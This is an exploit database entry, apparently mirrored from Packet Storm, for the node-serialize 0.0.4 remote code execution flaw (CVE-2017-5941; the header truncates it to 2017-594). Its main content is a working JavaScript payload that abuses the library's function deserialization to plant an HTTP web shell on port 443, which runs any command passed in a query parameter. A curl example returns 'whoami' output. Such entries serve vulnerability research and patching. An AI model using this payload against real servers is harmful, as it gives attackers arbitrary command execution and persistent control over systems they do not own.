Lucene search
K

Node.JS Remote Code Execution

🗓️ 18 Jun 2021 00:00:00Reported by Beren Kuday GorunType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 173 Views

Node.JS Remote Code Execution CVE-2017-594

Related
Code
`# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)  
# Date: 17.06.2021  
# Exploit Author: Beren Kuday GORUN  
# Vendor Homepage: https://github.com/luin/serialize  
# Software Link: https://github.com/luin/serialize  
# Version: 0.0.4  
# Tested on: Windows & Ubuntu  
# CVE : 2017-5941  
  
var serialize = require('node-serialize');  
var payload = {  
"webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"  
}  
serialize.unserialize(serialize.serialize(payload))  
  
/*  
# after being exploited  
  
┌──(root@kali)-[/home/kali]  
└─# curl http://10.0.2.4:443?cmd=whoami  
nodeadmin  
  
*/  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2021 00:00Current
9.6High risk
Vulners AI Score9.6
EPSS0.7793
173